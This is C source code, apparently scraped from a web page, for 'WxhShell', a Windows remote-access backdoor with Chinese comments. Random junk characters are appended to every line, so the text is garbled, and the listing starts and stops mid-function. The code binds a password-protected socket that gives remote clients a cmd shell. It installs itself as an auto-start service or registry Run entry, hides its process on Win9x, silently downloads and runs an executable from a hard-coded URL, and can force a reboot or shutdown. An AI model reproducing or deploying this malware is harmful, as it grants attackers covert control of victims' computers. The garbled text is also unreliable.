    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); bvK fxAih  
    if(Boot(SHUTDOWN)) *)6:yn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {xzs{)9|Y4  
    else { >8*J ;(:W  
    closesocket(wsh); AP8YY8,  
    ExitThread(0); MY[QYBkn}  
    } l^B PTg)X@  
    break; nF8|*}w  
    } 0"*!0s ~  
  // 获取shell $T)EJe  
  case 's': { <]jKpJ{3N  
    CmdShell(wsh); |@a.dgz,  
    closesocket(wsh); 0KQDw  
    ExitThread(0); B`Q~p 92  
    break; m|}};8  
  } e B$ S d  
  // 退出 Q>,EYb>wI  
  case 'x': { HFr#Ql>g  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); uTemAIp $u  
    CloseIt(wsh); lBbUA)z6  
    break; ?G48GxJ  
    } Q/y^ff]=  
  // 离开 ? ^E B"{  
  case 'q': { km)5?  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); w A0 $d  
    closesocket(wsh); u;[*Z  
    WSACleanup(); Zi0B$3iOb  
    exit(1); X/5\L.g2  
    break; rM sd)  
        } z2Pnni7Ys  
  } ^sWsP`DV  
  } +, SUJ|  
1nt VM+  
  // 提示信息 `YZK$ -,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y?t2@f]!XK  
} cZ!%#A z  
  } 8f^QO:  
MQ9Nn|4  
  return;  KKfC^g  
} 44uM:;  
lHV&8fny  
// shell模块句柄 C&&*6E5  
int CmdShell(SOCKET sock) RjII(4Et  
{ *K{-J*   
STARTUPINFO si; [a\U8 w  
ZeroMemory(&si,sizeof(si)); 'w'P rM,:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; '^T Q Ubw  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /~,|zz  
PROCESS_INFORMATION ProcessInfo; 3$.R=MQ7  
char cmdline[]="cmd"; x >u \  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); SMMV$;O{9  
  return 0; *1}UK9X;  
} ;3nR_6\  
<Ae1YHUY  
// 自身启动模式 6' 9ITA  
int StartFromService(void) l>KkK|!T^i  
{ (8[etm  
typedef struct X=:|v<E   
{ '7+e!>"  
  DWORD ExitStatus; %n^jho5  
  DWORD PebBaseAddress;  H %Cb  
  DWORD AffinityMask; e?Pzhh a  
  DWORD BasePriority; 5hVp2 w-  
  ULONG UniqueProcessId; Dr;-2$Kt/&  
  ULONG InheritedFromUniqueProcessId; /rKdxsI*  
}   PROCESS_BASIC_INFORMATION; "T*Sg  
QKj-"y[  
PROCNTQSIP NtQueryInformationProcess; kRCuc}:SB  
Hs%;uyI@$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Ueq*R(9>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; XZ@;Tyn0,  
?2Q9z-$  
  HANDLE             hProcess; ^)r^k8y'  
  PROCESS_BASIC_INFORMATION pbi; 3GH@|id  
a3&&7n  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); hAPWEh^  
  if(NULL == hInst ) return 0; uXs.7+f  
Z9:erKT   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &3 QdQ n,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *z2G(Uac  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9<0p1WO  
8PWx>}XPt  
  if (!NtQueryInformationProcess) return 0; M;BDo(1  
0KW@j>=jK  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?\GILB,  
  if(!hProcess) return 0; {-(}p+;z  
'A0.(a5  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; q Ee1OB  
I3;{II  
  CloseHandle(hProcess); KO`ftz3 +  
5XSr K  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2$>"4 N  
if(hProcess==NULL) return 0; -WDU~VSU  
QvM+]pdR6  
HMODULE hMod; L5%t.7B  
char procName[255]; =0te.io)3O  
unsigned long cbNeeded; %9,:  
cC{eu[ XW  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +T*=JHOD  
.A;e` cKb  
  CloseHandle(hProcess); ` ZO#n  
.}.?b  
if(strstr(procName,"services")) return 1; // 以服务启动 =oZHN,  
{Y>5 [gp  
  return 0; // 注册表启动 9FB[`}  
} #fq%903=  
P`/;3u/P  
// 主模块 g@IV|C( *0  
int StartWxhshell(LPSTR lpCmdLine) K? ;_T$^K  
{ hu?Q,[+o  
  SOCKET wsl; 2K^D%U  
BOOL val=TRUE; ?xftr(  
  int port=0; }ll&qb  
  struct sockaddr_in door; gZa/?[+  
W62 $ HI  
  if(wscfg.ws_autoins) Install(); ~SI`%^L  
9g*O;0uz  
port=atoi(lpCmdLine); l(c2 B  
4 &r5M  
if(port<=0) port=wscfg.ws_port; 4o+SSS  
@ |bN[XL  
  WSADATA data; LAe>XF-5  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; U3Fa.bC6}  
J1i{n7f=@  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^!Y]l  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); r]e1a\)r  
  door.sin_family = AF_INET; T1$fu(f  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 26SXuFJ@  
  door.sin_port = htons(port); ]><K8N3Z  
W<f-  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { w}8 ,ICL  
closesocket(wsl); 'eyzH[l,(  
return 1; bQU{)W  
} 1M1|Wp  
7a$K@iWU  
  if(listen(wsl,2) == INVALID_SOCKET) { [&_7w\m  
closesocket(wsl); NCW<~   
return 1; myq@X(K  
} 0bG[pp$[  
  Wxhshell(wsl); @nC][gNv  
  WSACleanup(); l*r8.qp  
csh@C ckC8  
return 0; 6tx5{Xl-o  
+3>)r{#k  
} ;mT|0&o>#  
Vy.gr4Cm  
// 以NT服务方式启动 fL^$G;_?3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <{ER#}b:O  
{ 2X X-  
DWORD   status = 0; CF,-l B  
  DWORD   specificError = 0xfffffff; (Q]Ww_r~  
tPp9=e2[s  
  serviceStatus.dwServiceType     = SERVICE_WIN32; n-"(lWcp  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `49: !M$i  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;J uBybJb  
  serviceStatus.dwWin32ExitCode     = 0; MG}rvzn@  
  serviceStatus.dwServiceSpecificExitCode = 0; !_?K(X~/  
  serviceStatus.dwCheckPoint       = 0;  ff;9P5X  
  serviceStatus.dwWaitHint       = 0; lXT+OJF  
yG' 5:  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); N9dx^+\  
  if (hServiceStatusHandle==0) return; A!^ d8#~.  
#\zC|%2+z  
status = GetLastError(); whW% c8  
  if (status!=NO_ERROR) 3>T2k }  
{ *'-[J2  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 5i0vli /L  
    serviceStatus.dwCheckPoint       = 0; H2jF=U"=  
    serviceStatus.dwWaitHint       = 0; Al MMN"j  
    serviceStatus.dwWin32ExitCode     = status; ;f!}vo<;  
    serviceStatus.dwServiceSpecificExitCode = specificError; c]/X >8;  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); )KdEl9o  
    return; yC:C  
  } CcJ%; .V,T  
<#ng"1J  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; EXbaijHQG  
  serviceStatus.dwCheckPoint       = 0; CJYpgSr  
  serviceStatus.dwWaitHint       = 0; O`^dy7>{U  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "$I8EW/1  
} ==Ah& ){4^  
Yq-Vwh/  
// 处理NT服务事件,比如:启动、停止 f q&(&(|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) uj~(r=%  
{ =c ;.cW  
switch(fdwControl) 3P*[ !KI  
{ D &Bdl5g  
case SERVICE_CONTROL_STOP: ="('  #o  
  serviceStatus.dwWin32ExitCode = 0; ROr|n]aJj  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Tr.u'b(  
  serviceStatus.dwCheckPoint   = 0; n`X}&(O  
  serviceStatus.dwWaitHint     = 0; I]-"Tw  
  { B!x7oD9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Tg@:mw5  
  } 8\S$iGd  
  return; S[e> 8  
case SERVICE_CONTROL_PAUSE: ++!'6! l  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Oj>;[O"  
  break; O?f?{Jsx  
case SERVICE_CONTROL_CONTINUE: &9ERlZ(A  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?s@=DDB\u  
  break; W.(Q u-AE(  
case SERVICE_CONTROL_INTERROGATE: Kut@z>SK  
  break; (&1 56 5  
}; x"P@[T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Aj*|r  
} sdBB(  
Hy b_> n  
// 标准应用程序主函数 tfdb9# &?  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Z_4|L+i<{  
{ (H;,E-  
! JauMR  
// 获取操作系统版本 v(]dIH  
OsIsNt=GetOsVer(); mq+x=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ^g=j`f[T  
Eih6?Lpu  
  // 从命令行安装 E/2_@&U:}  
  if(strpbrk(lpCmdLine,"iI")) Install(); m#^;V  
g'NR\<6A  
  // 下载执行文件 hm0MO,i"  
if(wscfg.ws_downexe) { #s{EIj~YR_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _ZE&W  
  WinExec(wscfg.ws_filenam,SW_HIDE); K}vYE7n:  
} G5NAwpZf  
@CS%=tE}U  
if(!OsIsNt) { ?(Xy 2%v  
// 如果时win9x,隐藏进程并且设置为注册表启动 GC[Ot~*_  
HideProc(); L0qL\>#ejr  
StartWxhshell(lpCmdLine); JvF0s}#4  
} p2hPLq  
else i.gagb  
  if(StartFromService()) ^;[^L=}8$  
  // 以服务方式启动 Zfd `Fu  
  StartServiceCtrlDispatcher(DispatchTable); 2>g!+p Ox  
else 23X-h#w  
  // 普通方式启动 >]x%+@{|  
  StartWxhshell(lpCmdLine); ;P^}2i[q>[  
n2Y a'YF  
return 0; a&Me#H{  
} '26 ,.1  
h7PIF*7m e  
~&D5RfK5f  
5Vr#>W  
=========================================== mOJ-M@ME  
\"9ysePI  
1aezlDc*  
;Q<2Y#  
Q zY5S0  
u17 9!  
" Ej<`HbJ 'Q  
@=K*gbq5  
#include <stdio.h> zor  
#include <string.h> ~BgNM O;|  
#include <windows.h> 91UC>]}H  
#include <winsock2.h> =00 sB  
#include <winsvc.h> s6!! ty;Y  
#include <urlmon.h> 7!~)a  
S~B{G T\M  
#pragma comment (lib, "Ws2_32.lib") UPkc-^BN  
#pragma comment (lib, "urlmon.lib") tcD5"ALJ  
ZeH=]G4Zv7  
#define MAX_USER   100 // 最大客户端连接数 / }(\P@Z  
#define BUF_SOCK   200 // sock buffer GD4+f|1.*  
#define KEY_BUFF   255 // 输入 buffer >[<f\BN|  
{*X|)nr  
#define REBOOT     0   // 重启 2 ;Q|h$ n  
#define SHUTDOWN   1   // 关机 7|<-rjz^  
^39 ?@xc@  
#define DEF_PORT   5000 // 监听端口 /a\]Dwj5  
oot kf=  
#define REG_LEN     16   // 注册表键长度 !*}E  
#define SVC_LEN     80   // NT服务名长度 ;pG5zRe  
G5UNW<P2C  
// 从dll定义API Wv30;7~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); } A}Vd:#  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Zig3WiD&  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ' &Tz8.jp~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); d6A+pa'2  
Lt {&v ^y  
// wxhshell配置信息 lN7YU-ygz  
struct WSCFG { 64SRW8AH  
  int ws_port;         // 监听端口 c22L]Sxo  
  char ws_passstr[REG_LEN]; // 口令 ,PX7}//X^  
  int ws_autoins;       // 安装标记, 1=yes 0=no ZSn6JV'g  
  char ws_regname[REG_LEN]; // 注册表键名 ]E1|^[y  
  char ws_svcname[REG_LEN]; // 服务名 AZnFOS  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 uy([>8uu  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 j^D/ ,SW  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1t7T\~ +F  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Kp[5"N8  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"  sM9NHwg  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 N._^\FRyn  
/?S,u,R  
}; I}\`l+  
A{gniYqvB`  
// default Wxhshell configuration *-s':('R  
struct WSCFG wscfg={DEF_PORT, S>R40T=e  
    "xuhuanlingzhe", Z`ZML+;~6  
    1, Y~U WUF%aK  
    "Wxhshell", Xnxb.{C  
    "Wxhshell", K?=g IC:  
            "WxhShell Service", .WlZT-  
    "Wrsky Windows CmdShell Service", M"8?XD%  
    "Please Input Your Password: ", RYM[{]4b5F  
  1, n&FRjq9y  
  "http://www.wrsky.com/wxhshell.exe", Oma G|2u  
  "Wxhshell.exe" f1I/aRV:+  
    }; $3(E0\#O  
sDXQ{*6a  
// 消息定义模块 m!:sDQn{3  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; qhNYQ/uS  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,sn 9&E  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; |@dY[VK>  
char *msg_ws_ext="\n\rExit."; IR"=8w#MP  
char *msg_ws_end="\n\rQuit."; JjHQn=3AJ  
char *msg_ws_boot="\n\rReboot..."; 5I0j>{U&  
char *msg_ws_poff="\n\rShutdown..."; gm}zF%B"  
char *msg_ws_down="\n\rSave to "; <2fvEW/#v  
0|~3\e/QV  
char *msg_ws_err="\n\rErr!"; x-SYfvYY  
char *msg_ws_ok="\n\rOK!"; n)rSgzI  
bYy7Ul6]  
char ExeFile[MAX_PATH]; h\*I*I8C  
int nUser = 0; "= *   
HANDLE handles[MAX_USER]; 9w$+Qc  
int OsIsNt; /Xw wB  
vtXZ`[D,l)  
SERVICE_STATUS       serviceStatus; JPkI+0  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; c 4L++ u#  
B@,#,-=  
// 函数声明 4"Pf0PD:  
int Install(void); eed!SmP  
int Uninstall(void); ]PZ\N~T  
int DownloadFile(char *sURL, SOCKET wsh); P>ZIP* Gr  
int Boot(int flag); r~T3Ieb  
void HideProc(void); i}Cy q  
int GetOsVer(void); )5ISkbsxD  
int Wxhshell(SOCKET wsl); (?~*.g!  
void TalkWithClient(void *cs); 1)ZdkTF@H  
int CmdShell(SOCKET sock); x%, !px3s  
int StartFromService(void); J.n-4J#@  
int StartWxhshell(LPSTR lpCmdLine); [HQ Bx`3TS  
aT PmW]w6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); M}`G}*  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); A{a`%FAV  
d# q8-  
// 数据结构和表定义 $|}PL[aA#  
SERVICE_TABLE_ENTRY DispatchTable[] = D2Dk7//82Y  
{ S&;D  
{wscfg.ws_svcname, NTServiceMain}, |%5nV=&\  
{NULL, NULL} JiCy77H  
}; s@5r}6?M  
C/A~r  
// 自我安装 )` 90*  
int Install(void) \UBQ:+3  
{  7VAet  
  char svExeFile[MAX_PATH]; kIYV%O   
  HKEY key; 73kL>u  
  strcpy(svExeFile,ExeFile); |iB svI:  
F9 C3i  
// 如果是win9x系统,修改注册表设为自启动 S#^-VZ~U4x  
if(!OsIsNt) { %R LGO&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5 _ a-nWQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >X-*Hu'U#  
  RegCloseKey(key); HU+zzTgI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P(Ve' wOaf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7NDjXcuq  
  RegCloseKey(key); ?u_O(eg  
  return 0; rty&\u@}  
    } # dxS QmG  
  } #gY|T|  
} HVK./y qy  
else { ,]|*~dd>G  
X"3Za[9j  
// 如果是NT以上系统,安装为系统服务 ?tFsSU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); B5fF\N^  
if (schSCManager!=0) 6$6Qk !%  
{ u3@v  
  SC_HANDLE schService = CreateService 1rQKHC:|  
  ( &%`Y>\@f  
  schSCManager, j9/Ev]im|F  
  wscfg.ws_svcname, 'ai!6[|SD  
  wscfg.ws_svcdisp, dt|f4 XWF  
  SERVICE_ALL_ACCESS, `<^1Ik[g  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , y<A%&  
  SERVICE_AUTO_START, , 1` -u$  
  SERVICE_ERROR_NORMAL, uw`fC%-xh  
  svExeFile, p$*;>YKO  
  NULL, u.Z,HsEOb  
  NULL, S2*ER  
  NULL, W^AY:#eX~Q  
  NULL, T&PLvyBL  
  NULL Du."O]syD  
  ); a5xmIp@6  
  if (schService!=0) aj)?P  
  { h1 (MvEt  
  CloseServiceHandle(schService); +Jv*u8T'  
  CloseServiceHandle(schSCManager); F_&bE@k  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Yab=p 9V;;  
  strcat(svExeFile,wscfg.ws_svcname); .&Ok53]b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { zr5(nAl  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); uepL"%.@7|  
  RegCloseKey(key); ,t=12R]>  
  return 0; 1-bQ ( -  
    } =ap6IVR  
  } 7yK1Q_XY>  
  CloseServiceHandle(schSCManager); hfuGCD6F`  
} C5^eD^[c  
} ~8 w(M  
[M{EO)  
return 1; oz- k_9%  
} WgK|r~  
OK^0,0kS3  
// 自我卸载 ^,M&PP6  
int Uninstall(void) _noQk3N  
{ w>W`8P_b@  
  HKEY key; 5h4E>LB.B  
6b8@6;&LI  
if(!OsIsNt) { @~l?hf  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r\-25F<e5  
  RegDeleteValue(key,wscfg.ws_regname);  j{;RuNt  
  RegCloseKey(key); GqrOj++>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )5Bkm{v3  
  RegDeleteValue(key,wscfg.ws_regname); &MlBp I  
  RegCloseKey(key); 9C{\=?e;  
  return 0; pM i w9}  
  } 8uO@S*)0  
} d$G<g78D  
} I:qfB2tL)O  
else { u8wZ2j4S  
g#ZuRL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $.z~bmH"D  
if (schSCManager!=0) Sl{nS1q  
{ IHg)xZ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); '%m0@5|hCD  
  if (schService!=0)  yq ?_#r  
  { VhAZncw  
  if(DeleteService(schService)!=0) { #89h}mp'  
  CloseServiceHandle(schService); /I' n]  
  CloseServiceHandle(schSCManager); >Ufjmm${  
  return 0; Rro{A+[,X  
  } FBGHVV w!  
  CloseServiceHandle(schService); P'Fy,fNg  
  } I>27U<PX  
  CloseServiceHandle(schSCManager); :);]E-ch  
} O^ ]I>A#d  
} id-VoHd K  
F$K-Q;r]<  
return 1; {}3kla{  
} ^/W 7Xd(s  
)Q\ZYCPOr  
// 从指定url下载文件 ndm19M8Y|  
int DownloadFile(char *sURL, SOCKET wsh) 6Upg\(  
{ k"SmbFn%N0  
  HRESULT hr; n;"4`6L~  
char seps[]= "/"; H&L=WF+x  
char *token; sQ^>.yG  
char *file; K.2M=Q  
char myURL[MAX_PATH]; K]bS:[34 R  
char myFILE[MAX_PATH]; =3=KoH/'  
mm=Y(G[_%y  
strcpy(myURL,sURL);  W4CI=94  
  token=strtok(myURL,seps); D^PsV  
  while(token!=NULL) 9ok|]d P  
  { c 3@SgfKmk  
    file=token; Xh]\q)  
  token=strtok(NULL,seps); vc2xAAQ  
  } 4C /8hsn  
w c%  
GetCurrentDirectory(MAX_PATH,myFILE); Ut-6!kAm  
strcat(myFILE, "\\"); DuvP3(K  
strcat(myFILE, file); ) Q=G&  
  send(wsh,myFILE,strlen(myFILE),0); ~+>M,LfK  
send(wsh,"...",3,0); n@L!{zY  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [Pp#l*  
  if(hr==S_OK) ^qbX9.\  
return 0; }WGi9\9T&  
else 3r em"M  
return 1; |/fbU_d  
+lha^){  
} wH Z!t,g  
;D8Nya>%  
// 系统电源模块 24N,Bo 3  
int Boot(int flag) .%wEuqW=0  
{ G^mk<pH  
  HANDLE hToken; SbnV U[  
  TOKEN_PRIVILEGES tkp; !v;r3*#Nky  
4_.k Q"'DH  
  if(OsIsNt) { paBGJ~{=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }2c}y7B,_  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 'fA D Dh}  
    tkp.PrivilegeCount = 1; >qF KXzI  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4}LF>_+=  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); b"FsT  
if(flag==REBOOT) { ,Vs:Lle  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) '*,4F'  
  return 0; H+5]3>O-$  
} 8&C(0H]1  
else { Y|VzeJC  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) : m5u=:t  
  return 0; rFy9K4D  
} [d&Faa[`  
  } &yA<R::o  
  else { 3N*Shzusbt  
if(flag==REBOOT) { Lv^j l  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !F<?he<U  
  return 0; 4P~<_]yf  
} YqJIp. Z  
else { )(L&+DDy  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) QNJG}Upl  
  return 0; D1Sl+NOV  
} UUU^YT \  
} .4Ny4CMHZ  
| fI%L9  
return 1; _(z"l"l=$  
} .E}});l  
B)Q'a3d#  
// win9x进程隐藏模块 ]Cz16e&=2  
void HideProc(void) 3 #wj-  
{ |@g1|OWd|  
kxmS   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); sR 9F:  
  if ( hKernel != NULL ) ~+np7  
  { )g --=w3  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &rd(q'Vi  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :9YQX(l8  
    FreeLibrary(hKernel); Qm.kXlsDI  
  } |d3agfS[n  
IID(mmy6 L  
return; 31* 6 ;(  
} b tu:@s8ci  
7xc<vl#:q7  
// 获取操作系统版本 EC~t 'v  
int GetOsVer(void) 'MUrszOO.e  
{ kUUq9me&o  
  OSVERSIONINFO winfo; uJOW%|ZN`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); :65HMWy.  
  GetVersionEx(&winfo); cMl%)j-  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) qj6`nbZ{va  
  return 1; Pp/{keEye  
  else 5G<CDgl^!  
  return 0; S>,I&`yi  
} (OqJet2{+  
88>Uu!M=f  
// 客户端句柄模块 '| }}o g  
int Wxhshell(SOCKET wsl) +I<Sq_-  
{ <yS"c5D6  
  SOCKET wsh; V</T$V$  
  struct sockaddr_in client; pNlisS  
  DWORD myID; psC7I E<v  
9>R|k$`  
  while(nUser<MAX_USER) ]uvbQ.l_t  
{ h,>L(=c$O  
  int nSize=sizeof(client); WQpJd7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); GX)QIe~;qJ  
  if(wsh==INVALID_SOCKET) return 1; `&_k\/  
pU ]{Z(  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); n6 G&^Oj  
if(handles[nUser]==0) CLfb`rF  
  closesocket(wsh); h!K2F~i{P  
else AfN   
  nUser++; n ;5?^Un%  
  } rhTk}2@h  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~5uNw*H  
6\Vu#r  
  return 0; o'7ju~0L  
} X-$td~r  
|u"R(7N*  
// 关闭 socket iwJ-<v_:h  
void CloseIt(SOCKET wsh) F[=lA"F^  
{ X&s\_jQ  
closesocket(wsh); &PuJV +y  
nUser--; d:pm|C|F  
ExitThread(0); bM^A9BxD  
} ff1B)e  
)75yv<L2S,  
// 客户端请求句柄 ** r?    
void TalkWithClient(void *cs) 8ex:OTzn|  
{ ~_db<!a  
'&:x_WwVrO  
  SOCKET wsh=(SOCKET)cs; 7Y|>xx=v  
  char pwd[SVC_LEN]; |ak C  
  char cmd[KEY_BUFF]; ICbdKgLz  
char chr[1]; ?VZXJO{^  
int i,j; _@pf1d$  
$v<hW A]>  
  while (nUser < MAX_USER) { T:%wX9W  
_K}_h\e.  
if(wscfg.ws_passstr) { &tz%WW%D8  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q\t>D _lU  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <Mn7`i  
  //ZeroMemory(pwd,KEY_BUFF); 6a]f&={E  
      i=0; W/r?0E  
  while(i<SVC_LEN) { 199hQxib:  
Qv0>Pf  
  // 设置超时 H"GE\  
  fd_set FdRead; m)|.:sj  
  struct timeval TimeOut; HvgK_'  
  FD_ZERO(&FdRead); ok%a|Zz+]  
  FD_SET(wsh,&FdRead); #D LT-G0  
  TimeOut.tv_sec=8; }:9|*m<$t  
  TimeOut.tv_usec=0; &Wv`AoV  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); y)^CDe2xU  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); S5E,f?l  
XJlDiBs9=Q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qe6C|W~n  
  pwd=chr[0]; aEFe!_QY  
  if(chr[0]==0xd || chr[0]==0xa) { v>y8s&/  
  pwd=0; n?e@):  
  break; kk_9G -M  
  } j&[3Be'pQ  
  i++; )_X xk_  
    } fv j5[Q  
*Nf4bH%MN  
  // 如果是非法用户,关闭 socket 1_j<%1{sZ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); g?A5'o&Yu  
} lQ<#jxp  
ttbQergS  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); fJn3"D'  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f}lT|.)?VD  
^E<~zO=Z  
while(1) { /[nZ#zj!3  
t.>te'DK/  
  ZeroMemory(cmd,KEY_BUFF); )kL` &+#>  
8!&ds~?  
      // 自动支持客户端 telnet标准   ,p*ntj{  
  j=0; ^Z-. [Y  
  while(j<KEY_BUFF) { EN-8uY.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &w;^m/zP3  
  cmd[j]=chr[0]; D,GPn%Wqi  
  if(chr[0]==0xa || chr[0]==0xd) { fbHWBb  
  cmd[j]=0; V 4\^TO`q=  
  break;  J:~[ j  
  } &3 XFg Ho  
  j++; J/]o WC`u  
    } iJdrY 6qd  
j:v~MrQ7|  
  // 下载文件 o&hKg#nO83  
  if(strstr(cmd,"http://")) { B{OW}D$P#  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Jv 6nlK`  
  if(DownloadFile(cmd,wsh)) EDq$vB  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); AT%* ~tr  
  else \'s$ZN$k  
